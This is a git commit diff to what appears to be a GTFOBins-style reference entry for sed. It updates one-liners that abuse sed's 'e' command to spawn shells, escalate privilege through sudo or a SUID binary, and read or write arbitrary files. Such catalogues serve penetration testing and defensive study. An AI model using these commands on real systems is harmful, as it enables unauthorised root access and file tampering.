Fix sed execute and file write, also enforce standards

This commit is contained in:
Andrea Cardaci 2018-06-13 16:00:47 +02:00
parent 3c0e0bf1e3
commit 2da69686ac

View File

@ -1,19 +1,23 @@
--- ---
functions: functions:
execute-interactive: execute-interactive:
- code: sed "e /bin/sh -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" - description: GNU version only. Also, this requires `bash`.
code: sed -n "1e bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
execute-non-interactive:
- description: GNU version only.
code: sed -n "1e id" /etc/hosts
sudo-enabled: sudo-enabled:
- code: sudo sed "e /bin/sh -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" - description: GNU version only. Also, this requires `bash`.
code: sudo sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
suid-enabled: suid-enabled:
- code: | - description: GNU version only. Also, this requires `bash`.
LFILE=file_to_read code: ./sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
./sed -e '' "$LFILE"
file-read: file-read:
- code: | - code: |
LFILE=file_to_read LFILE=file_to_read
sed -e '' "$LFILE" sed '' "$LFILE"
file-write: file-write:
- code: | - code: |
LFILE=file_to_write LFILE=file_to_write
echo x | sed "s/x/data/;w $LFILE" sed -n "1s/.*/data/w $LFILE" /etc/hosts
--- ---